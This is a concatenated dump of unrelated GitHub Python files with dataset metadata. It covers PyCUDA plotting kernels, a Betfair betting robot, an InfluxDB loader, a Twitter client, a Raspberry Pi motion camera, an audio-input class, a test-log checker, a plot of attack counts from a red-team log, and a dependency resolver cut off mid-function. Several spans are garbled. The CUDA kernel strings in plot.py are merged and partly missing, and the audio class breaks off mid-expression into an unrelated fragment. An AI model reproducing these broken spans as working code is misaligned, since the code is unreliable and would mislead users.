sys.argv[2], force=force)\n else:\n xls2json(sys.argv[1], sys.argv[2], force=force)\n", "repo_name": "akaz88/LoYUtilPlugin", "sub_path": "LoYUtilResource/tool/DngmapConv.py", "file_name": "DngmapConv.py", "file_ext": "py", "file_size_in_byte": 18303, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.compile", "line_number": 79, "usage_type": "call"}, {"api_name": "openpyxl.utils.cell.get_column_letter", "line_number": 86, "usage_type": "call"}, {"api_name": "openpyxl.utils", "line_number": 86, "usage_type": "attribute"}, {"api_name": "openpyxl.load_workbook", "line_number": 181, "usage_type": "call"}, {"api_name": "os.path.path.exists", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 190, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 190, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 197, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 207, "usage_type": "call"}, {"api_name": "openpyxl.styles.colors.Color", "line_number": 249, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 249, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.borders.Side", "line_number": 250, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 250, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.borders.Border", "line_number": 254, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 254, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.borders.Border", "line_number": 257, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 257, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.borders.Border", "line_number": 260, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 260, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.borders.Border", "line_number": 263, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 263, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.fonts.Font", "line_number": 272, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 272, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.colors.Color", "line_number": 279, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 279, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.borders.Side", "line_number": 280, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 280, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.borders.Border", "line_number": 283, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 283, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.borders.Border", "line_number": 285, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 285, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.fills.PatternFill", "line_number": 340, "usage_type": "call"}, {"api_name": "openpyxl.styles", "line_number": 340, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.colors.Color", "line_number": 340, "usage_type": "call"}, {"api_name": "os.path.path.exists", "line_number": 364, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 364, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 364, "usage_type": "name"}, {"api_name": "json.load", "line_number": 368, "usage_type": "call"}, {"api_name": "openpyxl.Workbook", "line_number": 369, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 386, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 389, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 393, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 394, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 400, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 401, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 403, "usage_type": "attribute"}]} {"seq_id": "19547190739", "text": "#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import with_statement\nfrom __future__ import division\nfrom __future__ import nested_scopes\nfrom __future__ import generators\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\n\n\ntry:\n from pycuda.elementwise import ElementwiseKernel\nexcept:\n import sys\n def missing(*args,**kwargs):\n if 'sphinx' in sys.modules:\n print('Please locate and install PyCuda')\n else:\n raise ValueError('Please locate and install PyCuda')\n ElementwiseKernel = missing\n\n##############################################################################\n# A plotting helper\n##############################################################################\n\ngpubarlinekerna = ElementwiseKernel(\n \"float *x, float low, float high, float *z\",\n \"z[i] = x[i]>=low&&x[i]0?x[i]:0.0\",\n \"gpubarlinekernb\")\n \ngpubarlinekernc = ElementwiseKernel(\n \"float *p, float *x, float mean, float *z\",\n \"z[i]=p[i]>0?pow(x[i]-mean,2):0.0\",\n \"gpubarlinekernc\")\n \ndef gpubarlinedata(xdata,ydata,bins,minval=None,maxval=None):\n if maxval==None: maxval=gpumax(xdata)\n if minval==None: minval=gpumin(xdata)\n binsize= (maxval-minval)/float(bins)\n inbin = gpuarray.empty_like(xdata)\n select = gpuarray.empty_like(xdata)\n xmeans = []\n ymeans = []\n errors = []\n for i in xrange(bins):\n lo=minval+binsize*i;\n hi=minval+binsize*(i+1);\n gpubarlinekerna(xdata,lo,hi,inbin)\n N=gpusum(inbin)\n if N>1:\n gpubarlinekernb(inbin,ydata,select)\n my=gpusum(select)/float(N)\n gpubarlinekernb(inbin,xdata,select)\n mx=gpusum(select)/float(N)\n gpubarlinekernc(inbin,ydata,my,select)\n s=sqrt(gpusum(select)/(N*(N-1)))\n xmeans.append(mx)\n ymeans.append(my)\n errors.append(s)\n return (xmeans,ymeans,errors) \n \ndef sebarline(datasets,bins,min=None,max=None,lx=\"\",ly=\"\",title=\"\"):\n fig = plt.figure()\n ax = fig.add_subplot(111)\n for (x,y) in datasets:\n xm,ym,err=gpubarlinedata(x,y,bins,min,max)\n plt.errorbar(xm,ym,yerr=map(lambda x:2*x,err))\n ax.set_xlabel(textf(lx))\n ax.set_ylabel(textf(ly))\n ax.set_title(textf(title))\n fig.show() \n \ndef sebarline2(datasets,lx=\"\",ly=\"\",title=\"\"):\n fig = plt.figure()\n ax = fig.add_subplot(111)\n for (x,y) in datasets:\n ym=cmap(gpumean)(y)\n ys=cmap(gpusem)(y)*2\n plt.errorbar(x,ym,yerr=ys)\n ax.set_xlabel(textf(lx))\n ax.set_ylabel(textf(ly))\n ax.set_title(textf(title))\n fig.show() \n \ndef gpuhistogram(xdata,ydata,bins,minval=None,maxval=None):\n if maxval==None: maxval=gpumax(xdata)\n if minval==None: minval=gpumin(xdata)\n binsize= (maxval-minval)/float(bins)\n inbin = gpuarray.empty_like(xdata)\n N = []\n for i in xrange(bins):\n gpubarlinekerna(xdata,minval+binsize*i,minval+binsize*(i+1),inbin)\n N.append(gpusum(inbin))\n return N\n \n \n", "repo_name": "michaelerule/neurotools", "sub_path": "obsolete/gpu/cu/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 3277, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.modules", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pycuda.elementwise.ElementwiseKernel", "line_number": 21, "usage_type": "name"}, {"api_name": "pycuda.elementwise.ElementwiseKernel", "line_number": 27, "usage_type": "call"}, {"api_name": "pycuda.elementwise.ElementwiseKernel", "line_number": 32, "usage_type": "call"}, {"api_name": "pycuda.elementwise.ElementwiseKernel", "line_number": 37, "usage_type": "call"}]} {"seq_id": "24373828206", "text": "from __future__ import print_function, division\n\nimport logging\nimport argparse\nimport sys\n\n\nclass Robot(object):\n def __init__(self, client, market_id):\n self.c = client\n self.market_id = market_id\n self.ie = InstructionEngine(client, market_id)\n\n\nclass InstructionEngine(object):\n def __init__(self, client, market_id):\n self.c = client\n self.market_id = market_id\n\n\n def update_bets(self, sel_id, backs, lays):\n _to_betfair_odds = lambda x: (self.c.set_betfair_odds(x[0]), round(x[1], 2))\n backs = set(map(_to_betfair_odds, backs))\n lays = set(map(_to_betfair_odds, lays))\n\n curr_bets = self.c.get_mu_bets(self.market_id, status='U')\n if isinstance(curr_bets, str):\n curr_bets = []\n else:\n curr_bets = filter(lambda x: x['selectionId'] == sel_id, curr_bets)\n\n cancel_ids = []\n for bet in curr_bets:\n try:\n if bet['betType'] == 'B':\n backs.remove((bet['price'], bet['size']))\n else:\n lays.remove((bet['price'], bet['size']))\n except KeyError:\n logging.info('[sel_id=%8s] Cancelling %s bet [bet_id=%s, GBP %.2f @ %.2f (p=%.3f)]' %\n (sel_id, bet['betType'], bet['betId'], bet['size'], bet['price'], 1 / bet['price']))\n cancel_ids.append(bet['betId'])\n self.c.cancel_bets(cancel_ids)\n\n bets = []\n for back in backs:\n logging.info('[sel_id=%8s] Placing new BACK bet: GBP %.2f @ %.2f (p=%.3f)' % (sel_id, back[1], back[0], 1.0 / back[0]))\n bets.append(self._bet(sel_id, 'B', back[0], back[1]))\n for lay in lays:\n logging.info('[sel_id=%8s] Placing new LAY bet: GBP %.2f @ %.2f (p=%.3f)' % (sel_id, lay[1], lay[0], 1.0 / lay[0]))\n bets.append(self._bet(sel_id, 'L', lay[0], lay[1]))\n if len(bets) > 0:\n self.c.place_bets(bets)\n\n\n def _bet(self, sel_id, bet_type, price, size):\n return {\"marketId\": self.market_id,\n \"selectionId\": sel_id,\n \"betType\": bet_type, # 'B' or 'L'\n \"price\": str(price),\n \"size\": str(size),\n \"betCategoryType\": \"E\", # \"E\", \"M\" or \"L\"\n \"betPersistenceType\": \"NONE\", # \"NONE\", \"SP\" or \"IP\"\n \"bspLiability\": \"0\", # should be \"0\" if unused\n \"asianLineId\": \"0\" # should be \"0\" if unused\n }\n\n def pnl(self):\n pass", "repo_name": "mcobzarenco/betfair-trading", "sub_path": "robot.py", "file_name": "robot.py", "file_ext": "py", "file_size_in_byte": 2583, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.info", "line_number": 40, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 47, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 50, "usage_type": "call"}]} {"seq_id": "6960226133", "text": "from datetime import datetime\nfrom pathlib import Path\nfrom sys import exit\nfrom time import time\n\nfrom influxdb_client import InfluxDBClient, Point, WritePrecision\nfrom influxdb_client.client.write_api import SYNCHRONOUS\nimport yaml\nimport plugins\n\nfrom synge import get_logger\n\nclass InfluxDB(plugins.PlugIns):\n def __init__(self, conf):\n self.name = 'influxdb'\n self.type = 'load'\n self.cfg = conf\n self.setup = None\n self.dbclient = None\n\n self.log = get_logger(self.__class__.__name__)\n\n def _load_setup(self):\n setupfile=Path(Path(__file__).parent, 'setup.yml')\n if setupfile.is_file():\n with open(setupfile, 'r') as ymlfile:\n setup = yaml.load(ymlfile, Loader=yaml.FullLoader)\n else:\n self.log.error(f'No setup file {setupfile}')\n exit(1)\n return setup[self.name]\n \n def _setup(self):\n conf_needed = [r for r in self.setup['conf_needed']]\n conf_rows = [r for r in self.cfg.yaml[self.name]]\n\n if all(item in conf_rows for item in conf_needed):\n self.dbclient = InfluxDBClient(url=f'http://{self.cfg.yaml[self.name][\"host\"]}:{self.cfg.yaml[self.name][\"port\"]}', token=self.cfg.yaml[self.name][\"access_token\"], org=self.cfg.yaml[self.name][\"org\"])\n else:\n self.log.error(f'Please fill all needed fields in configuration file.')\n exit(1)\n\n def run(self, datapoints):\n self.setup = self._load_setup()\n self._setup()\n \n self.log.debug('Starting InfluxDB sync')\n start = time()\n with self.dbclient as client:\n write_api = client.write_api(write_options=SYNCHRONOUS)\n data = \"mem,host=host1 used_percent=23.43234543\"\n write_api.write(self.cfg.yaml[self.name]['bucket'], self.cfg.yaml[self.name]['org'], datapoints)\n # for q in self.flow:\n # self._fetch_data(q['category'], q['type'], day)\n end = time()\n self.log.debug(f'InfluxDB syncing was successful, took {end - start} seconds')\n", "repo_name": "tsebukas/fitbit_sync", "sub_path": "plugins/influxdb/influxdb.py", "file_name": "influxdb.py", "file_ext": "py", "file_size_in_byte": 2083, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "plugins.PlugIns", "line_number": 13, "usage_type": "attribute"}, {"api_name": "synge.get_logger", "line_number": 21, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 24, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 27, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 27, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 30, "usage_type": "call"}, {"api_name": "influxdb_client.InfluxDBClient", "line_number": 38, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 41, "usage_type": "call"}, {"api_name": "time.time", "line_number": 48, "usage_type": "call"}, {"api_name": "influxdb_client.client.write_api.SYNCHRONOUS", "line_number": 50, "usage_type": "name"}, {"api_name": "time.time", "line_number": 55, "usage_type": "call"}]} {"seq_id": "41107425069", "text": "import json\r\nimport requests\r\nfrom requests_oauthlib import OAuth1Session\r\nfrom .tw_message import tw_message\r\nfrom .dataset.tweet import Tweet\r\nfrom lib.settings import settings\r\n\r\n\r\nclass Twitter:\r\n \"\"\"twitterAPI通信処理\r\n \"\"\"\r\n def __init__(self):\r\n \"\"\"初期処理\r\n Args:\r\n self(lib.twitter):\r\n Return:\r\n None\r\n \"\"\"\r\n token = settings.get_setting()\r\n CK = token['CONSUMER_KEY']\r\n CS = token['CONSUMER_SECRET']\r\n AT = token['ACCESS_TOKEN']\r\n ATS = token['ACCESS_TOKEN_SECRET']\r\n self.twitter = OAuth1Session(CK, CS, AT, ATS)\r\n\r\n def read_list_tl(self):\r\n \"\"\"リストのタイムライン読み込み\r\n \r\n Args:\r\n self(lib.Twitter):\r\n Returns:\r\n \r\n \"\"\"\r\n message = tw_message()\r\n url = \"https://api.twitter.com/1.1/lists/statuses.json\" #タイムライン取得エンドポイント\r\n\r\n # list_id決め打ちで取得しに行く\r\n params = {'list_id' : 1118826235000279040, 'count': 200} #取得数\r\n\r\n tweet = Tweet()\r\n tid = tweet.get_maxtimestamp_tweet()\r\n if tid is not None:\r\n params['since_id'] = tid\r\n print(params)\r\n res = self.twitter.get(url, params = params)\r\n\r\n if res.status_code == 200: #正常通信出来た場合\r\n timelines = json.loads(res.text)\r\n \r\n for line in timelines:\r\n message.add_message(line['user']['name'], line['user']['screen_name'],\\\r\n line['id_str'], line['created_at'])\r\n return message\r\n else: #正常通信出来なかった場合\r\n raise requests.exceptions.ConnectionError\r\n\r\n # リストID取得 list_idを単に取るだけ、実際のbotでは使わない。\r\n def get_list_id(self, list_name):\r\n message = tw_message()\r\n url = \"https://api.twitter.com/1.1/lists/list.json\"\r\n\r\n # params = {'user_id': user_name}\r\n params = {}\r\n res = self.twitter.get(url, params = params)\r\n if res.status_code == 200: #正常通信出来た場合\r\n data = json.loads(res.text)\r\n for line in data:\r\n if line['full_name'] == \"@\" + list_name + \"/list\":\r\n print(line['id_str'])\r\n else: #正常通信出来なかった場合\r\n raise requests.exceptions.ConnectionError", "repo_name": "goocey/discord-bot-python", "sub_path": "src/lib/twitter.py", "file_name": "twitter.py", "file_ext": "py", "file_size_in_byte": 2458, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "lib.settings.settings.get_setting", "line_number": 19, "usage_type": "call"}, {"api_name": "lib.settings.settings", "line_number": 19, "usage_type": "name"}, {"api_name": "requests_oauthlib.OAuth1Session", "line_number": 24, "usage_type": "call"}, {"api_name": "tw_message.tw_message", "line_number": 34, "usage_type": "call"}, {"api_name": "dataset.tweet.Tweet", "line_number": 40, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 48, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 55, "usage_type": "attribute"}, {"api_name": "tw_message.tw_message", "line_number": 59, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 66, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 71, "usage_type": "attribute"}]} {"seq_id": "26121058526", "text": "import RPi.GPIO as GPIO \nimport time, os, sys, glob\nfrom datetime import datetime \nimport picamera\nimport subprocess\n\n#define necessary parameters\npinNum = 18\t#set GPIO_18 as the input of 'HC-SR501'\n\n#define camera function\ndef createH264(name):\n\tcamera = picamera.PiCamera()\n\tcamera.resolution = (1024, 768)\n\tcamera.framerate = 30\n\tcamera.awb_mode = 'auto'\n\n\tcamera.start_recording(name + '.h264')\n\tcamera.wait_recording(5)\n\tcamera.stop_recording()\n#end of createVideo()\n\n#define function for deleting .h264 file\ndef deleteH264(name):\n\tif os.path.isfile(name + '.h264'):\n\t\tos.remove(name + '.h264')\ndef deleteH264_all():\n\tfiles = glob.iglob(os.path.join('./', '*.h264'))\n\tfor file in files:\n\t\tif os.path.isfile(file):\n\t\t\tos.remove(file)\n\n#start main processing...\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(pinNum, GPIO.IN)\nprint(\"Setting up all sensors...\")\ntime.sleep(5)\n\n#start main processing...\ntry:\n\twhile True:\n\t\t#if detected...\n\t\tif GPIO.input(pinNum):\n\t\t\t#first, create .h264 video\n\t\t\tnow = datetime.now()\n\t\t\tfileName = '%s-%s-%s_%s:%s:%s' % (now.year, now.month, now.day, now.hour, now.minute, now.second)\n\t\t\tprint(\"Human is detected! Recording 5-sec video...\")\n\t\t\tcreateH264(fileName)\n\n\t\t\t#Then, convert *.264 -> *.mp4\n\t\t\tif subprocess.call(['MP4Box','-add', fileName + '.h264', fileName + '.mp4']) == 0:\n\t\t\t\tprint(\"Created video named \\'%s.mp4\\'\" % fileName)\n\t\t\t\tdeleteH264(fileName)\n\t\t\telse:\n\t\t\t\tprint(\"Error: failed converting...\")\n\t\t\t\tdeleteH264(fileName)\n\t\t#if NOT detected...\n\t\telse:\n\t\t\tprint(\"Nothing...\")\n\t\t\n\t\ttime.sleep(1)\n\t#end of while\n\n#list of possible exceptions\nexcept KeyboardInterrupt:\n\tprint(\"Pressed Keyboard.\")\nexcept TimeoutError:\n\tprint(\"TIMEOUT!! Check out the error and try again...\")\nexcept:\n\tprint(\"Error: unknown error...\")\n\nGPIO.cleanup()\ndeleteH264_all()\nprint(\"Good bye~\")\nsys.exit()", "repo_name": "ellisjoe611/RaspberryPi_test", "sub_path": "projects/Camera with Sensor/runcamera.py", "file_name": "runcamera.py", "file_ext": "py", "file_size_in_byte": 1818, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "picamera.PiCamera", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 25, "usage_type": "call"}, {"api_name": "glob.iglob", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 30, "usage_type": "call"}, {"api_name": "RPi.GPIO.setmode", "line_number": 33, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 33, "usage_type": "name"}, {"api_name": "RPi.GPIO.BCM", "line_number": 33, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 34, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 34, "usage_type": "name"}, {"api_name": "RPi.GPIO.IN", "line_number": 34, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}, {"api_name": "RPi.GPIO.input", "line_number": 42, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 42, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 44, "usage_type": "name"}, {"api_name": "subprocess.call", "line_number": 50, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 60, "usage_type": "call"}, {"api_name": "RPi.GPIO.cleanup", "line_number": 71, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 71, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 74, "usage_type": "call"}]} {"seq_id": "32461054962", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport logging\nimport numpy\nimport pyaudio\nimport aubio\nimport time\n\n\nclass AudioInput(object):\n sample_rate = 44100\n buffersize = 512\n max_energy = 5000\n\n _read_listeners = []\n\n def __init__(self, sample_rate=None, buffersize=None):\n self.sample_rate = sample_rate or self.sample_rate\n self.buffersize = buffersize or self.buffersize\n self.window_size = self.buffersize * 2\n self.stream = None\n\n self.onset = aubio.onset(\n 'specflux', self.window_size, self.buffersize, self.sample_rate)\n self.onset.set_threshold(0.3)\n self.onset.set_silence(-20.)\n self.tempo = aubio.tempo(\n 'default', self.window_size, self.buffersize, self.sample_rate)\n\n self.energy = aubio.specdesc('specflux', self.buffersize * 2)\n self.pv = aubio.pvoc(self.buffersize * 2, self.buffersize)\n\n self.pitch = aubio.pitch(\n \"yinfft\", self.window_size, self.buffersize, self.sample_rate)\n self.pitch.set_unit(\"midi\")\n self.pitch.set_tolerance(0.8)\n\n self.py_audio = pyaudio.PyAudio()\n\n def init_stream(self, input_device_index=None, channels=None):\n if not input_device_index or not channels:\n input_device_index, channels = self._get_input_device()\n\n logging.info(\"Using input device %s with %s channels\" % (\n input_device_index, channels\n ))\n\n self.stream = self.py_audio.open(\n format=pyaudio.paFloat32,\n channels=2,\n rate=self.sample_rate,\n input=True,\n frames_per_buffer=self.buffersize,\n input_device_index=input_device_index)\n\n def _get_input_device(self):\n valid_devices = []\n for i in range(self.py_audio.get_device_count()):\n data = self.py_audio.get_device_info_by_index(i)\n if data.get('maxInputChannels', 0) > 0:\n valid_devices.append(\n (data['maxInputChannels'], data.get('index'),\n data.get('name'), data.get('defaultSampleRate'))\n )\n print(data)\n if len(valid_devices) == 0:\n logging.error('AudioInput: Couldn\\'t find a valid input device')\n raise Exception('AudioInput: invalid input device')\n if len(valid_devices) > 1:\n logging.info(\n 'AudioInput: Found the following devices, using the last one:'\n '\\n%s' % '\\n'.join([\n '%s. %s (i:%s ch:%s SR:%s)' % (\n i, info[2], info[1], info[0], info[3]\n )\n for i, info in enumerate(valid_devices)\n ])\n )\n return valid_devices[-1][1], valid_devices[-1][0]\n\n def register_read_listener(self, callback):\n self._read_listeners.append(callback)\n return len(self._read_listeners)\n\n def unregister_read_listener(self, callback):\n self._read_listeners.remove(callback)\n\n def read_loop(self):\n _time = time.time()\n while True:\n f = numpy.fromstring(\n self.stream.read(self.buffersize), dtype=numpy.dtype(' 1:\n raise_assertion(\"Found too many log files for simulation\")\n return found_files[0]", "repo_name": "AntaresSimulatorTeam/Antares_Simulator", "sub_path": "src/tests/run-study-tests/check_on_results/check_logs_content.py", "file_name": "check_logs_content.py", "file_ext": "py", "file_size_in_byte": 2276, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 51, "dataset": "github-code", "pt": "78", "api": [{"api_name": "check_on_results.check_general.check_interface", "line_number": 7, "usage_type": "name"}, {"api_name": "utils.assertions.check", "line_number": 13, "usage_type": "call"}, {"api_name": "utils.find_output.find_dated_output_folder", "line_number": 16, "usage_type": "call"}, {"api_name": "check_decorators.print_name.printNameDecorator", "line_number": 6, "usage_type": "name"}, {"api_name": "utils.assertions.raise_assertion", "line_number": 53, "usage_type": "call"}, {"api_name": "utils.assertions.raise_assertion", "line_number": 55, "usage_type": "call"}]} {"seq_id": "32840503623", "text": "import matplotlib.pyplot as plt\nimport numpy as np\n\nimport random\ndef randomcolor():\n colorArr = ['1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']\n color = \"\"\n for i in range(6):\n color += colorArr[random.randint(0,14)]\n return \"#\"+color\n\n\nfilePath_redteam = \"E:/zyt/junior1/DDS/FINAL-PROJECT/dataset/redteam.txt/redteam.txt\"\nwith open(filePath_redteam, \"r\") as f:\n most_active_attacker_dict = {}\n most_poor_victim_for_each_attacker = {}\n most_poor_victim_for_all_attackers = {}\n\n for line in f:\n ts, host, src, dst = line.strip('\\n').split(',')\n\n if src not in most_active_attacker_dict:\n most_active_attacker_dict[src] = 0\n most_poor_victim_for_each_attacker[src] = {}\n most_active_attacker_dict[src] += 1\n if dst not in most_poor_victim_for_each_attacker[src]:\n most_poor_victim_for_each_attacker[src][dst] = 0\n most_poor_victim_for_each_attacker[src][dst] += 1\n\n if dst not in most_poor_victim_for_all_attackers:\n most_poor_victim_for_all_attackers[dst] = 0\n most_poor_victim_for_all_attackers[dst] += 1\n\n for a in sorted(most_active_attacker_dict.items(), key=lambda s: s[1], reverse=True):\n print(\"attacker => count: %4d | src: %s | number of victims: %4d\"\n % (a[1], a[0], len(most_poor_victim_for_each_attacker[a[0]])))\n # print(\"number of victims: \" + str(len(most_poor_victim_for_each_attacker[a[0]])))\n for v in sorted(most_poor_victim_for_each_attacker[a[0]].items(), key=lambda s: s[1], reverse=True):\n if v[1] < most_poor_victim_for_all_attackers[v[0]]:\n print(\" victim => count: %4d | dst: %6s << total: %4d\" % (\n v[1], v[0], most_poor_victim_for_all_attackers[v[0]]))\n else:\n print(\" victim => count: %4d | dst: %6s\" % (v[1], v[0]))\n print(\"\\n\")\n\n # plot\n\n # 构建数据\n x_data = []\n y_data = []\n for a in sorted(most_active_attacker_dict.items(), key=lambda s: s[1], reverse=True):\n x_data.append(a[0])\n\n for all in sorted(most_poor_victim_for_all_attackers.items(), key=lambda s: s[1], reverse=True):\n # print(all[0])\n temp_list = []\n for a in sorted(most_active_attacker_dict.items(), key=lambda s: s[1], reverse=True):\n if all[0] in most_poor_victim_for_each_attacker[a[0]]:\n num = most_poor_victim_for_each_attacker[a[0]][all[0]]\n print(num)\n temp_list.append(num)\n\n else:\n temp_list.append(0)\n\n y_data.append(temp_list)\n\n # 绘图\n l = len(y_data)\n for i in range(l-1):\n y_data[i + 1][0] = y_data[i][0]+y_data[i + 1][0]\n y_data[i + 1][1] = y_data[i][1]+y_data[i + 1][1]\n y_data[i + 1][2] = y_data[i][2]+y_data[i + 1][2]\n y_data[i + 1][3] = y_data[i][3]+y_data[i + 1][3]\n count = 0\n y_data.reverse()\n for all in sorted(most_poor_victim_for_all_attackers.items(), key=lambda s: s[1], reverse=False):\n ttt = y_data[0]\n plt.bar(x=x_data, height=y_data[count], label=all[0], color=randomcolor(), alpha=0.8)\n # plt.bar(x=x_data, height=y_data[count], color='steelblue', alpha=0.8)\n count = count + 1\n # 设置标题\n plt.title(\"Distribution of attack frequency\")\n # 为两条坐标轴设置名称\n plt.xlabel(\"Attacker\")\n plt.ylabel(\"Number of attack items\")\n # 显示图例\n # plt.legend()\n plt.show()\n\n# with open(\"./data/dns.txt\", \"r\") as f:\n# for line in f:\n# time, src, resolved = line.split(',')\n# print(time, src, resolved)\n", "repo_name": "QinJiuJiu/Data-Driven-Security", "sub_path": "code/hw1/attack_pattern/redteam_extract/redteam_process.py", "file_name": "redteam_process.py", "file_ext": "py", "file_size_in_byte": 3656, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "random.randint", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}]} {"seq_id": "25554186760", "text": "import re\nimport multiprocessing.dummy\nfrom datetime import datetime\nfrom pathlib import Path\nfrom typing import List # noqa: F401\nfrom .common import WitUserError\nfrom .package import Package\nfrom .repo_entries import RepoEntry\nfrom .witlogger import getLogger\n\nlog = getLogger()\n\n\nclass DependeeNewerThanDepender(WitUserError):\n def __init__(self, depender, dependee):\n self.depender = depender\n self.dependee = dependee\n\n def __str__(self):\n return (\"Depender {} is older than its dependee {}\\n\"\n \"This should not happen, but it may be caused by a fictitious \"\n \"clock time being stored in a commit.\\n This should be fixable \"\n \"by creating a new commit in the dependee then depending on \"\n \"that commit.\"\n \"\".format(self.depender.id(), self.dependee.id()))\n\n\nclass Dependency:\n \"\"\" A dependency that a Package specifies. From wit-manifest.json and wit-workspace.js \"\"\"\n\n def __init__(self, name, source, specified_revision, message):\n self.source = source\n self.specified_revision = specified_revision or \"HEAD\"\n self.name = name or Dependency.infer_name(source)\n self.package = None # type: Package\n self.dependents = [] # type: List[Package]\n self.message = message\n\n def resolve_deps(self, wsroot, repo_paths, download, source_map, packages, queue, jobs):\n source_map = source_map.copy()\n packages = packages.copy()\n queue = queue.copy()\n subdeps = self.package.get_dependencies()\n log.debug(\"Dependencies for [{}]: [{}]\".format(self.name, subdeps))\n\n errors = self._parallel_clone(subdeps, wsroot, repo_paths, download, jobs)\n if len(errors) > 0:\n return {}, [], [], errors\n\n for subdep in subdeps:\n subdep.load(packages, repo_paths, wsroot, download)\n sources_conflict_check(subdep, source_map)\n source_map[subdep.name] = subdep.package.resolve_source(subdep.source)\n\n if subdep.package.repo is 